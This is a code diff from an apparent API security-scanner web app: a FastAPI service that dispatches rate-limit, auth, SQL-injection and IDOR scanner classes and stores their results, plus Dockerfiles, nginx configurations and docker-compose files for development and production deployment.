if not user.is_active:
|
||||||
|
raise HTTPException(
|
||||||
|
status_code = status.HTTP_403_FORBIDDEN,
|
||||||
|
detail = "Account is inactive",
|
||||||
|
)
|
||||||
|
|
||||||
|
access_token = create_access_token(
|
||||||
|
data = {"sub": user.email},
|
||||||
|
expires_delta = timedelta(
|
||||||
|
minutes = settings.ACCESS_TOKEN_EXPIRE_MINUTES
|
||||||
|
),
|
||||||
|
)
|
||||||
|
|
||||||
|
return TokenResponse(
|
||||||
|
access_token = access_token,
|
||||||
|
token_type = "bearer"
|
||||||
|
)
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def get_user_by_email(
|
||||||
|
db: Session,
|
||||||
|
email: str
|
||||||
|
) -> UserResponse | None:
|
||||||
|
"""
|
||||||
|
Get user by email address
|
||||||
|
|
||||||
|
Args:
|
||||||
|
db: Database session
|
||||||
|
email: User email
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
UserResponse | None: User data or None if not found
|
||||||
|
"""
|
||||||
|
user = UserRepository.get_by_email(db, email)
|
||||||
|
if user:
|
||||||
|
return UserResponse.model_validate(user)
|
||||||
|
return None
|
||||||
|
|
@ -0,0 +1,194 @@
|
||||||
|
"""
|
||||||
|
©AngelaMos | 2025
|
||||||
|
Coordinates scanners and saves results
|
||||||
|
"""
|
||||||
|
|
||||||
|
from __future__ import annotations
|
||||||
|
|
||||||
|
from sqlalchemy.orm import Session
|
||||||
|
from fastapi import HTTPException, status
|
||||||
|
|
||||||
|
from ..core.enums import TestType
|
||||||
|
from ..repositories.scan_repository import ScanRepository
|
||||||
|
from ..repositories.test_result_repository import TestResultRepository
|
||||||
|
|
||||||
|
from ..scanners.auth_scanner import AuthScanner
|
||||||
|
from ..scanners.idor_scanner import IDORScanner
|
||||||
|
from ..scanners.sqli_scanner import SQLiScanner
|
||||||
|
from ..scanners.rate_limit_scanner import RateLimitScanner
|
||||||
|
from ..schemas.test_result_schemas import TestResultCreate
|
||||||
|
from ..schemas.scan_schemas import ScanRequest, ScanResponse
|
||||||
|
|
||||||
|
|
||||||
|
class ScanService:
|
||||||
|
"""
|
||||||
|
Orchestrates security scanning workflow
|
||||||
|
"""
|
||||||
|
@staticmethod
|
||||||
|
def run_scan(
|
||||||
|
db: Session,
|
||||||
|
user_id: int,
|
||||||
|
scan_request: ScanRequest
|
||||||
|
) -> ScanResponse:
|
||||||
|
"""
|
||||||
|
Execute security scan with selected tests
|
||||||
|
|
||||||
|
Args:
|
||||||
|
db: Database session
|
||||||
|
user_id: User ID initiating the scan
|
||||||
|
scan_request: Scan configuration and tests to run
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
ScanResponse: Scan results with all test outcomes
|
||||||
|
"""
|
||||||
|
scan = ScanRepository.create_scan(
|
||||||
|
db = db,
|
||||||
|
user_id = user_id,
|
||||||
|
target_url = str(scan_request.target_url),
|
||||||
|
)
|
||||||
|
|
||||||
|
scanner_mapping = {
|
||||||
|
TestType.RATE_LIMIT: RateLimitScanner,
|
||||||
|
TestType.AUTH: AuthScanner,
|
||||||
|
TestType.SQLI: SQLiScanner,
|
||||||
|
TestType.IDOR: IDORScanner,
|
||||||
|
}
|
||||||
|
|
||||||
|
results: list[TestResultCreate] = []
|
||||||
|
|
||||||
|
for test_type in scan_request.tests_to_run:
|
||||||
|
scanner_class = scanner_mapping.get(test_type)
|
||||||
|
|
||||||
|
if not scanner_class:
|
||||||
|
continue
|
||||||
|
|
||||||
|
try:
|
||||||
|
scanner = scanner_class(
|
||||||
|
target_url = str(scan_request.target_url),
|
||||||
|
auth_token = scan_request.auth_token,
|
||||||
|
max_requests = scan_request.max_requests,
|
||||||
|
)
|
||||||
|
|
||||||
|
result = scanner.scan()
|
||||||
|
results.append(result)
|
||||||
|
|
||||||
|
except Exception as e:
|
||||||
|
results.append(
|
||||||
|
TestResultCreate(
|
||||||
|
test_name = test_type,
|
||||||
|
status = "error",
|
||||||
|
severity = "info",
|
||||||
|
details = f"Scanner error: {str(e)}",
|
||||||
|
evidence_json = {"error": str(e)},
|
||||||
|
recommendations_json = [
|
||||||
|
"Check target URL is accessible",
|
||||||
|
"Verify authentication token if provided",
|
||||||
|
],
|
||||||
|
)
|
||||||
|
)
|
||||||
|
|
||||||
|
for result in results:
|
||||||
|
TestResultRepository.create_test_result(
|
||||||
|
db = db,
|
||||||
|
scan_id = scan.id,
|
||||||
|
test_name = result.test_name,
|
||||||
|
status = result.status,
|
||||||
|
severity = result.severity,
|
||||||
|
details = result.details,
|
||||||
|
evidence_json = result.evidence_json,
|
||||||
|
recommendations_json = result.recommendations_json,
|
||||||
|
)
|
||||||
|
|
||||||
|
db.refresh(scan)
|
||||||
|
|
||||||
|
return ScanResponse.model_validate(scan)
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def get_scan_by_id(
|
||||||
|
db: Session,
|
||||||
|
scan_id: int,
|
||||||
|
user_id: int
|
||||||
|
) -> ScanResponse:
|
||||||
|
"""
|
||||||
|
Get scan by ID with authorization check
|
||||||
|
|
||||||
|
Args:
|
||||||
|
db: Database session
|
||||||
|
scan_id: Scan ID to retrieve
|
||||||
|
user_id: User ID for authorization
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
ScanResponse: Scan data with results
|
||||||
|
"""
|
||||||
|
scan = ScanRepository.get_by_id(db, scan_id)
|
||||||
|
|
||||||
|
if not scan:
|
||||||
|
raise HTTPException(
|
||||||
|
status_code = status.HTTP_404_NOT_FOUND,
|
||||||
|
detail = "Scan not found",
|
||||||
|
)
|
||||||
|
|
||||||
|
if scan.user_id != user_id:
|
||||||
|
raise HTTPException(
|
||||||
|
status_code = status.HTTP_403_FORBIDDEN,
|
||||||
|
detail = "Not authorized to access this scan",
|
||||||
|
)
|
||||||
|
|
||||||
|
return ScanResponse.model_validate(scan)
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def get_user_scans(
|
||||||
|
db: Session,
|
||||||
|
user_id: int,
|
||||||
|
skip: int = 0,
|
||||||
|
limit: int | None = None
|
||||||
|
) -> list[ScanResponse]:
|
||||||
|
"""
|
||||||
|
Get all scans for a user with pagination
|
||||||
|
|
||||||
|
Args:
|
||||||
|
db: Database session
|
||||||
|
user_id: User ID
|
||||||
|
skip: Number of records to skip
|
||||||
|
limit: Maximum number of records to return
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
list[ScanResponse]: List of user's scans
|
||||||
|
"""
|
||||||
|
scans = ScanRepository.get_by_user(
|
||||||
|
db = db,
|
||||||
|
user_id = user_id,
|
||||||
|
skip = skip,
|
||||||
|
limit = limit
|
||||||
|
)
|
||||||
|
|
||||||
|
return [ScanResponse.model_validate(scan) for scan in scans]
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def delete_scan(db: Session, scan_id: int, user_id: int) -> bool:
|
||||||
|
"""
|
||||||
|
Delete scan with authorization check
|
||||||
|
|
||||||
|
Args:
|
||||||
|
db: Database session
|
||||||
|
scan_id: Scan ID to delete
|
||||||
|
user_id: User ID for authorization
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
bool: True if deleted successfully
|
||||||
|
"""
|
||||||
|
scan = ScanRepository.get_by_id(db, scan_id)
|
||||||
|
|
||||||
|
if not scan:
|
||||||
|
raise HTTPException(
|
||||||
|
status_code = status.HTTP_404_NOT_FOUND,
|
||||||
|
detail = "Scan not found",
|
||||||
|
)
|
||||||
|
|
||||||
|
if scan.user_id != user_id:
|
||||||
|
raise HTTPException(
|
||||||
|
status_code = status.HTTP_403_FORBIDDEN,
|
||||||
|
detail = "Not authorized to delete this scan",
|
||||||
|
)
|
||||||
|
|
||||||
|
return ScanRepository.delete(db, scan_id)
|
||||||
|
|
@ -0,0 +1,34 @@
|
||||||
|
# ⒸAngelaMos | 2025
|
||||||
|
# Development FastAPI Dockerfile
|
||||||
|
|
||||||
|
FROM python:3.11-slim
|
||||||
|
|
||||||
|
# Set environment variables
|
||||||
|
ENV PYTHONUNBUFFERED=1 \
|
||||||
|
PYTHONDONTWRITEBYTECODE=1 \
|
||||||
|
PIP_NO_CACHE_DIR=1 \
|
||||||
|
PIP_DISABLE_PIP_VERSION_CHECK=1
|
||||||
|
|
||||||
|
# Set working directory
|
||||||
|
WORKDIR /app
|
||||||
|
|
||||||
|
# Install system dependencies
|
||||||
|
RUN apt-get update && apt-get install -y --no-install-recommends \
|
||||||
|
gcc \
|
||||||
|
postgresql-client \
|
||||||
|
&& rm -rf /var/lib/apt/lists/*
|
||||||
|
|
||||||
|
# Copy only requirements first (for layer caching)
|
||||||
|
COPY backend/requirements.txt .
|
||||||
|
|
||||||
|
# Install Python dependencies
|
||||||
|
RUN pip install --no-cache-dir -r requirements.txt
|
||||||
|
|
||||||
|
# Copy application code
|
||||||
|
COPY backend/ .
|
||||||
|
|
||||||
|
# Expose port
|
||||||
|
EXPOSE 8000
|
||||||
|
|
||||||
|
# Run with uvicorn hot reload
|
||||||
|
CMD ["uvicorn", "main:app", "--host", "0.0.0.0", "--port", "8000", "--reload"]
|
||||||
|
|
@ -0,0 +1,24 @@
|
||||||
|
# ⒸAngelaMos | 2025
|
||||||
|
# Development Vite Dockerfile
|
||||||
|
# Runs Vite dev server with HMR (Hot Module Replacement)
|
||||||
|
# Uses volume mounts for code (defined in docker-compose.dev.yml)
|
||||||
|
|
||||||
|
FROM node:20-alpine
|
||||||
|
|
||||||
|
# Set working directory
|
||||||
|
WORKDIR /app
|
||||||
|
|
||||||
|
# Copy package files first (for layer caching)
|
||||||
|
COPY frontend/package*.json ./
|
||||||
|
|
||||||
|
# Install dependencies
|
||||||
|
RUN npm ci
|
||||||
|
|
||||||
|
# Copy application code (in dev this is overridden by volume mount)
|
||||||
|
COPY frontend/ .
|
||||||
|
|
||||||
|
# Expose port
|
||||||
|
EXPOSE 5173
|
||||||
|
|
||||||
|
# Run Vite dev server with --host to allow external connections
|
||||||
|
CMD ["npm", "run", "dev", "--", "--host", "0.0.0.0"]
|
||||||
|
|
@ -0,0 +1,48 @@
|
||||||
|
# ⒸAngelaMos | 2025
|
||||||
|
# Production FastAPI Dockerfile
|
||||||
|
# Optimized for performance with gunicorn multi-worker setup
|
||||||
|
# No hot reload, built image (no volume mounts)
|
||||||
|
|
||||||
|
FROM python:3.11-slim
|
||||||
|
|
||||||
|
# Set environment variables
|
||||||
|
ENV PYTHONUNBUFFERED=1 \
|
||||||
|
PYTHONDONTWRITEBYTECODE=1 \
|
||||||
|
PIP_NO_CACHE_DIR=1 \
|
||||||
|
PIP_DISABLE_PIP_VERSION_CHECK=1
|
||||||
|
|
||||||
|
# Set working directory
|
||||||
|
WORKDIR /app
|
||||||
|
|
||||||
|
# Install system dependencies
|
||||||
|
RUN apt-get update && apt-get install -y --no-install-recommends \
|
||||||
|
gcc \
|
||||||
|
postgresql-client \
|
||||||
|
&& rm -rf /var/lib/apt/lists/*
|
||||||
|
|
||||||
|
# Copy only requirements first (for layer caching)
|
||||||
|
COPY backend/requirements.txt .
|
||||||
|
|
||||||
|
# Install Python dependencies
|
||||||
|
RUN pip install --no-cache-dir -r requirements.txt
|
||||||
|
|
||||||
|
# Install gunicorn for production
|
||||||
|
RUN pip install --no-cache-dir gunicorn
|
||||||
|
|
||||||
|
# Copy application code
|
||||||
|
COPY backend/ .
|
||||||
|
|
||||||
|
# Create non-root user for security
|
||||||
|
RUN useradd -m -u 1000 appuser && chown -R appuser:appuser /app
|
||||||
|
USER appuser
|
||||||
|
|
||||||
|
# Expose port
|
||||||
|
EXPOSE 8000
|
||||||
|
|
||||||
|
# Run with gunicorn (4 workers, uvicorn worker class for async support)
|
||||||
|
CMD ["gunicorn", "main:app", \
|
||||||
|
"--workers", "4", \
|
||||||
|
"--worker-class", "uvicorn.workers.UvicornWorker", \
|
||||||
|
"--bind", "0.0.0.0:8000", \
|
||||||
|
"--access-logfile", "-", \
|
||||||
|
"--error-logfile", "-"]
|
||||||
|
|
@ -0,0 +1,44 @@
|
||||||
|
# ⒸAngelaMos | 2025
|
||||||
|
# Production Vite Dockerfile (Multi-stage build)
|
||||||
|
# Stage 1: Build the React app with Vite
|
||||||
|
# Stage 2: Serve static files with Nginx
|
||||||
|
|
||||||
|
# ===================================
|
||||||
|
# Stage 1: Build
|
||||||
|
# ===================================
|
||||||
|
FROM node:20-alpine AS builder
|
||||||
|
|
||||||
|
WORKDIR /app
|
||||||
|
|
||||||
|
# Copy package files
|
||||||
|
COPY frontend/package*.json ./
|
||||||
|
|
||||||
|
# Install dependencies
|
||||||
|
RUN npm ci --only=production
|
||||||
|
|
||||||
|
# Copy source code
|
||||||
|
COPY frontend/ .
|
||||||
|
|
||||||
|
# Build the app (creates dist/ folder with static files)
|
||||||
|
RUN npm run build
|
||||||
|
|
||||||
|
# ===================================
|
||||||
|
# Stage 2: Serve with Nginx
|
||||||
|
# ===================================
|
||||||
|
FROM nginx:alpine
|
||||||
|
|
||||||
|
# Copy built static files from builder stage
|
||||||
|
COPY --from=builder /app/dist /usr/share/nginx/html
|
||||||
|
|
||||||
|
# Copy custom nginx configuration
|
||||||
|
COPY conf/nginx/prod.nginx /etc/nginx/nginx.conf
|
||||||
|
|
||||||
|
# Expose port
|
||||||
|
EXPOSE 80
|
||||||
|
|
||||||
|
# Health check
|
||||||
|
HEALTHCHECK --interval=30s --timeout=3s --start-period=5s --retries=3 \
|
||||||
|
CMD wget --quiet --tries=1 --spider http://localhost/health || exit 1
|
||||||
|
|
||||||
|
# Start nginx
|
||||||
|
CMD ["nginx", "-g", "daemon off;"]
|
||||||
|
|
@ -0,0 +1,61 @@
|
||||||
|
# ⒸAngelaMos | 2025
|
||||||
|
# Development Nginx Configuration
|
||||||
|
# Features:
|
||||||
|
# - Proxies to Vite dev server (with HMR/WebSocket support)
|
||||||
|
# - Proxies /api to FastAPI backend
|
||||||
|
# - No caching, no SSL
|
||||||
|
|
||||||
|
events {
|
||||||
|
worker_connections 1024;
|
||||||
|
}
|
||||||
|
|
||||||
|
http {
|
||||||
|
# Include shared config
|
||||||
|
include /etc/nginx/http.conf;
|
||||||
|
|
||||||
|
# Disable access logs in dev (less noise)
|
||||||
|
access_log off;
|
||||||
|
error_log /var/log/nginx/error.log warn;
|
||||||
|
|
||||||
|
server {
|
||||||
|
listen 80;
|
||||||
|
server_name localhost;
|
||||||
|
|
||||||
|
# Client max body size (for file uploads in scans)
|
||||||
|
client_max_body_size 10M;
|
||||||
|
|
||||||
|
# Backend API routes
|
||||||
|
location /api/ {
|
||||||
|
proxy_pass http://backend:8000/;
|
||||||
|
|
||||||
|
# Apply common proxy settings
|
||||||
|
proxy_http_version 1.1;
|
||||||
|
proxy_set_header Upgrade $http_upgrade;
|
||||||
|
proxy_set_header Connection 'upgrade';
|
||||||
|
proxy_set_header Host $host;
|
||||||
|
proxy_set_header X-Real-IP $remote_addr;
|
||||||
|
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
|
||||||
|
proxy_set_header X-Forwarded-Proto $scheme;
|
||||||
|
proxy_cache_bypass $http_upgrade;
|
||||||
|
}
|
||||||
|
|
||||||
|
# Frontend (Vite dev server with HMR)
|
||||||
|
location / {
|
||||||
|
proxy_pass http://frontend;
|
||||||
|
|
||||||
|
# WebSocket support for Vite HMR
|
||||||
|
proxy_http_version 1.1;
|
||||||
|
proxy_set_header Upgrade $http_upgrade;
|
||||||
|
proxy_set_header Connection 'upgrade';
|
||||||
|
proxy_set_header Host $host;
|
||||||
|
proxy_cache_bypass $http_upgrade;
|
||||||
|
}
|
||||||
|
|
||||||
|
# Health check endpoint
|
||||||
|
location /health {
|
||||||
|
access_log off;
|
||||||
|
return 200 "healthy\n";
|
||||||
|
add_header Content-Type text/plain;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
@ -0,0 +1,28 @@
|
||||||
|
# ⒸAngelaMos | 2025
|
||||||
|
# Shared HTTP configuration for both dev and prod
|
||||||
|
# This file contains common settings used by dev.nginx and prod.nginx
|
||||||
|
|
||||||
|
# Upstream backend (FastAPI)
|
||||||
|
upstream backend {
|
||||||
|
server backend:8000;
|
||||||
|
}
|
||||||
|
|
||||||
|
# Upstream frontend (Vite dev server in dev, static files in prod)
|
||||||
|
upstream frontend {
|
||||||
|
server frontend:5173;
|
||||||
|
}
|
||||||
|
|
||||||
|
# Common proxy settings
|
||||||
|
proxy_http_version 1.1;
|
||||||
|
proxy_set_header Upgrade $http_upgrade;
|
||||||
|
proxy_set_header Connection 'upgrade';
|
||||||
|
proxy_set_header Host $host;
|
||||||
|
proxy_set_header X-Real-IP $remote_addr;
|
||||||
|
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
|
||||||
|
proxy_set_header X-Forwarded-Proto $scheme;
|
||||||
|
proxy_cache_bypass $http_upgrade;
|
||||||
|
|
||||||
|
# Timeouts
|
||||||
|
proxy_connect_timeout 60s;
|
||||||
|
proxy_send_timeout 60s;
|
||||||
|
proxy_read_timeout 60s;
|
||||||
|
|
@ -0,0 +1,136 @@
|
||||||
|
# ⒸAngelaMos | 2025
|
||||||
|
# Production Nginx Configuration
|
||||||
|
# Features:
|
||||||
|
# - Serves static frontend files from /usr/share/nginx/html
|
||||||
|
# - Proxies /api to FastAPI backend
|
||||||
|
# - Caching, gzip compression, security headers
|
||||||
|
# - SSL/HTTPS ready (commented out, uncomment when you have certificates)
|
||||||
|
|
||||||
|
events {
|
||||||
|
worker_connections 2048;
|
||||||
|
}
|
||||||
|
|
||||||
|
http {
|
||||||
|
# Include shared config
|
||||||
|
include /etc/nginx/http.conf;
|
||||||
|
include /etc/nginx/mime.types;
|
||||||
|
default_type application/octet-stream;
|
||||||
|
|
||||||
|
# Logging
|
||||||
|
access_log /var/log/nginx/access.log;
|
||||||
|
error_log /var/log/nginx/error.log warn;
|
||||||
|
|
||||||
|
# Performance optimizations
|
||||||
|
sendfile on;
|
||||||
|
tcp_nopush on;
|
||||||
|
tcp_nodelay on;
|
||||||
|
keepalive_timeout 65;
|
||||||
|
types_hash_max_size 2048;
|
||||||
|
|
||||||
|
# Gzip compression
|
||||||
|
gzip on;
|
||||||
|
gzip_vary on;
|
||||||
|
gzip_min_length 1000;
|
||||||
|
gzip_comp_level 6;
|
||||||
|
gzip_types
|
||||||
|
text/plain
|
||||||
|
text/css
|
||||||
|
text/xml
|
||||||
|
text/javascript
|
||||||
|
application/json
|
||||||
|
application/javascript
|
||||||
|
application/xml+rss
|
||||||
|
application/rss+xml
|
||||||
|
font/truetype
|
||||||
|
font/opentype
|
||||||
|
application/vnd.ms-fontobject
|
||||||
|
image/svg+xml;
|
||||||
|
|
||||||
|
# HTTP server (will redirect to HTTPS in production)
|
||||||
|
server {
|
||||||
|
listen 80;
|
||||||
|
server_name localhost;
|
||||||
|
|
||||||
|
# Uncomment below to redirect HTTP to HTTPS in production
|
||||||
|
# return 301 https://$server_name$request_uri;
|
||||||
|
|
||||||
|
# Client max body size
|
||||||
|
client_max_body_size 10M;
|
||||||
|
|
||||||
|
# Security headers
|
||||||
|
add_header X-Frame-Options "SAMEORIGIN" always;
|
||||||
|
add_header X-Content-Type-Options "nosniff" always;
|
||||||
|
add_header X-XSS-Protection "1; mode=block" always;
|
||||||
|
add_header Referrer-Policy "no-referrer-when-downgrade" always;
|
||||||
|
|
||||||
|
# Backend API routes
|
||||||
|
location /api {
|
||||||
|
proxy_pass http://backend;
|
||||||
|
|
||||||
|
# Apply common proxy settings
|
||||||
|
proxy_http_version 1.1;
|
||||||
|
proxy_set_header Upgrade $http_upgrade;
|
||||||
|
proxy_set_header Connection 'upgrade';
|
||||||
|
proxy_set_header Host $host;
|
||||||
|
proxy_set_header X-Real-IP $remote_addr;
|
||||||
|
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
|
||||||
|
proxy_set_header X-Forwarded-Proto $scheme;
|
||||||
|
proxy_cache_bypass $http_upgrade;
|
||||||
|
|
||||||
|
# Timeouts for API requests
|
||||||
|
proxy_connect_timeout 60s;
|
||||||
|
proxy_send_timeout 60s;
|
||||||
|
proxy_read_timeout 60s;
|
||||||
|
}
|
||||||
|
|
||||||
|
# Serve static frontend files
|
||||||
|
location / {
|
||||||
|
root /usr/share/nginx/html;
|
||||||
|
try_files $uri $uri/ /index.html;
|
||||||
|
|
||||||
|
# Cache static assets
|
||||||
|
location ~* \.(js|css|png|jpg|jpeg|gif|ico|svg|woff|woff2|ttf|eot)$ {
|
||||||
|
expires 1y;
|
||||||
|
add_header Cache-Control "public, immutable";
|
||||||
|
}
|
||||||
|
|
||||||
|
# Don't cache index.html
|
||||||
|
location = /index.html {
|
||||||
|
add_header Cache-Control "no-cache, no-store, must-revalidate";
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
# Health check endpoint
|
||||||
|
location /health {
|
||||||
|
access_log off;
|
||||||
|
return 200 "healthy\n";
|
||||||
|
add_header Content-Type text/plain;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
# HTTPS server (uncomment and configure when you have SSL certificates)
|
||||||
|
# server {
|
||||||
|
# listen 443 ssl http2;
|
||||||
|
# server_name yourdomain.com;
|
||||||
|
#
|
||||||
|
# # SSL certificates (use Let's Encrypt or similar)
|
||||||
|
# ssl_certificate /etc/nginx/ssl/cert.pem;
|
||||||
|
# ssl_certificate_key /etc/nginx/ssl/key.pem;
|
||||||
|
#
|
||||||
|
# # SSL configuration
|
||||||
|
# ssl_protocols TLSv1.2 TLSv1.3;
|
||||||
|
# ssl_ciphers HIGH:!aNULL:!MD5;
|
||||||
|
# ssl_prefer_server_ciphers on;
|
||||||
|
# ssl_session_cache shared:SSL:10m;
|
||||||
|
# ssl_session_timeout 10m;
|
||||||
|
#
|
||||||
|
# # Security headers
|
||||||
|
# add_header Strict-Transport-Security "max-age=31536000; includeSubDomains" always;
|
||||||
|
# add_header X-Frame-Options "SAMEORIGIN" always;
|
||||||
|
# add_header X-Content-Type-Options "nosniff" always;
|
||||||
|
# add_header X-XSS-Protection "1; mode=block" always;
|
||||||
|
#
|
||||||
|
# # Same location blocks as HTTP server above
|
||||||
|
# # ...
|
||||||
|
# }
|
||||||
|
}
|
||||||
|
|
@ -0,0 +1,88 @@
|
||||||
|
# ⒸAngelaMos | 2025
|
||||||
|
|
||||||
|
services:
|
||||||
|
# PostgreSQL Database
|
||||||
|
db:
|
||||||
|
image: postgres:16-alpine
|
||||||
|
container_name: apisec_db_dev
|
||||||
|
environment:
|
||||||
|
POSTGRES_USER: ${POSTGRES_USER:-apiuser}
|
||||||
|
POSTGRES_PASSWORD: ${POSTGRES_PASSWORD:-apipass}
|
||||||
|
POSTGRES_DB: ${POSTGRES_DB:-apisecurity}
|
||||||
|
ports:
|
||||||
|
- "${HOST_DB_PORT:-5432}:5432"
|
||||||
|
volumes:
|
||||||
|
- postgres_data_dev:/var/lib/postgresql/data
|
||||||
|
healthcheck:
|
||||||
|
test: ["CMD-SHELL", "pg_isready -U ${POSTGRES_USER:-apiuser}"]
|
||||||
|
interval: 10s
|
||||||
|
timeout: 5s
|
||||||
|
retries: 5
|
||||||
|
networks:
|
||||||
|
- apisec_network
|
||||||
|
|
||||||
|
# FastAPI Backend
|
||||||
|
backend:
|
||||||
|
build:
|
||||||
|
context: .
|
||||||
|
dockerfile: conf/docker/dev/fastapi.docker
|
||||||
|
container_name: apisec_backend_dev
|
||||||
|
environment:
|
||||||
|
DATABASE_URL: postgresql://${POSTGRES_USER:-apiuser}:${POSTGRES_PASSWORD:-apipass}@db:5432/${POSTGRES_DB:-apisecurity}
|
||||||
|
SECRET_KEY: ${SECRET_KEY:-dev-secret-key-change-this}
|
||||||
|
DEBUG: "true"
|
||||||
|
BACKEND_HOST: ${BACKEND_HOST:-0.0.0.0}
|
||||||
|
BACKEND_PORT: ${BACKEND_PORT:-8000}
|
||||||
|
CORS_ORIGINS: ${CORS_ORIGINS:-http://localhost:5173,http://localhost:3000,http://localhost}
|
||||||
|
ports:
|
||||||
|
- "${HOST_BACKEND_PORT:-8000}:8000"
|
||||||
|
volumes:
|
||||||
|
- ./backend:/app
|
||||||
|
depends_on:
|
||||||
|
db:
|
||||||
|
condition: service_healthy
|
||||||
|
networks:
|
||||||
|
- apisec_network
|
||||||
|
restart: unless-stopped
|
||||||
|
|
||||||
|
# React Frontend (Development with Vite HMR)
|
||||||
|
frontend:
|
||||||
|
build:
|
||||||
|
context: .
|
||||||
|
dockerfile: conf/docker/dev/vite.docker
|
||||||
|
container_name: apisec_frontend_dev
|
||||||
|
environment:
|
||||||
|
VITE_API_URL: ${VITE_API_URL:-http://localhost:8000}
|
||||||
|
ports:
|
||||||
|
- "${HOST_FRONTEND_PORT:-5173}:5173"
|
||||||
|
volumes:
|
||||||
|
- ./frontend:/app
|
||||||
|
- /app/node_modules
|
||||||
|
networks:
|
||||||
|
- apisec_network
|
||||||
|
restart: unless-stopped
|
||||||
|
|
||||||
|
# Nginx Reverse Proxy
|
||||||
|
nginx:
|
||||||
|
image: nginx:alpine
|
||||||
|
container_name: apisec_nginx_dev
|
||||||
|
ports:
|
||||||
|
- "${HOST_NGINX_PORT:-80}:80"
|
||||||
|
volumes:
|
||||||
|
- ./conf/nginx/dev.nginx:/etc/nginx/nginx.conf:ro
|
||||||
|
- ./conf/nginx/http.conf:/etc/nginx/http.conf:ro
|
||||||
|
depends_on:
|
||||||
|
- backend
|
||||||
|
- frontend
|
||||||
|
networks:
|
||||||
|
- apisec_network
|
||||||
|
restart: unless-stopped
|
||||||
|
|
||||||
|
volumes:
|
||||||
|
postgres_data_dev:
|
||||||
|
name: apisec_postgres_data_dev
|
||||||
|
|
||||||
|
networks:
|
||||||
|
apisec_network:
|
||||||
|
name: apisec_network_dev
|
||||||
|
driver: bridge
|
||||||
|
|
@ -0,0 +1,80 @@
|
||||||
|
# ⒸAngelaMos | 2025
|
||||||
|
|
||||||
|
services:
|
||||||
|
# PostgreSQL Database
|
||||||
|
db:
|
||||||
|
image: postgres:16-alpine
|
||||||
|
container_name: apisec_db_prod
|
||||||
|
environment:
|
||||||
|
POSTGRES_USER: ${POSTGRES_USER:-apiuser}
|
||||||
|
POSTGRES_PASSWORD: ${POSTGRES_PASSWORD:-apipass}
|
||||||
|
POSTGRES_DB: ${POSTGRES_DB:-apisecurity}
|
||||||
|
# Uncomment to expose DB port (not recommended for production)
|
||||||
|
# ports:
|
||||||
|
# - "${HOST_DB_PORT:-5432}:5432"
|
||||||
|
volumes:
|
||||||
|
- postgres_data_prod:/var/lib/postgresql/data
|
||||||
|
healthcheck:
|
||||||
|
test: ["CMD-SHELL", "pg_isready -U ${POSTGRES_USER:-apiuser}"]
|
||||||
|
interval: 10s
|
||||||
|
timeout: 5s
|
||||||
|
retries: 5
|
||||||
|
networks:
|
||||||
|
- apisec_network
|
||||||
|
restart: always
|
||||||
|
|
||||||
|
# FastAPI Backend (Production with Gunicorn)
|
||||||
|
backend:
|
||||||
|
build:
|
||||||
|
context: .
|
||||||
|
dockerfile: conf/docker/prod/fastapi.docker
|
||||||
|
container_name: apisec_backend_prod
|
||||||
|
environment:
|
||||||
|
DATABASE_URL: postgresql://${POSTGRES_USER:-apiuser}:${POSTGRES_PASSWORD:-apipass}@db:5432/${POSTGRES_DB:-apisecurity}
|
||||||
|
SECRET_KEY: ${SECRET_KEY}
|
||||||
|
DEBUG: "false"
|
||||||
|
BACKEND_HOST: ${BACKEND_HOST:-0.0.0.0}
|
||||||
|
BACKEND_PORT: ${BACKEND_PORT:-8000}
|
||||||
|
CORS_ORIGINS: ${CORS_ORIGINS:-https://yourdomain.com}
|
||||||
|
expose:
|
||||||
|
- "8000"
|
||||||
|
depends_on:
|
||||||
|
db:
|
||||||
|
condition: service_healthy
|
||||||
|
networks:
|
||||||
|
- apisec_network
|
||||||
|
restart: always
|
||||||
|
healthcheck:
|
||||||
|
test: ["CMD", "curl", "-f", "http://localhost:8000/"]
|
||||||
|
interval: 30s
|
||||||
|
timeout: 10s
|
||||||
|
retries: 3
|
||||||
|
start_period: 40s
|
||||||
|
|
||||||
|
# Frontend (Production - Nginx serving static files)
|
||||||
|
frontend:
|
||||||
|
build:
|
||||||
|
context: .
|
||||||
|
dockerfile: conf/docker/prod/vite.docker
|
||||||
|
container_name: apisec_frontend_prod
|
||||||
|
ports:
|
||||||
|
- "${HOST_NGINX_PORT:-80}:80"
|
||||||
|
# Uncomment for HTTPS:
|
||||||
|
# - "${HOST_NGINX_HTTPS_PORT:-443}:443"
|
||||||
|
depends_on:
|
||||||
|
- backend
|
||||||
|
networks:
|
||||||
|
- apisec_network
|
||||||
|
restart: always
|
||||||
|
# Optional: Mount SSL certificates for HTTPS
|
||||||
|
# volumes:
|
||||||
|
# - ./ssl:/etc/nginx/ssl:ro
|
||||||
|
|
||||||
|
volumes:
|
||||||
|
postgres_data_prod:
|
||||||
|
name: apisec_postgres_data_prod
|
||||||
|
|
||||||
|
networks:
|
||||||
|
apisec_network:
|
||||||
|
name: apisec_network_prod
|
||||||
|
driver: bridge
|
||||||
|
|
@ -0,0 +1,24 @@
|
||||||
|
# Logs
|
||||||
|
logs
|
||||||
|
*.log
|
||||||
|
npm-debug.log*
|
||||||
|
yarn-debug.log*
|
||||||
|
yarn-error.log*
|
||||||
|
pnpm-debug.log*
|
||||||
|
lerna-debug.log*
|
||||||
|
|
||||||
|
node_modules
|
||||||
|
dist
|
||||||
|
dist-ssr
|
||||||
|
*.local
|
||||||
|
|
||||||
|
# Editor directories and files
|
||||||
|
.vscode/*
|
||||||
|
!.vscode/extensions.json
|
||||||
|
.idea
|
||||||
|
.DS_Store
|
||||||
|
*.suo
|
||||||
|
*.ntvs*
|
||||||
|
*.njsproj
|
||||||
|
*.sln
|
||||||
|
*.sw?
|
||||||
|
|
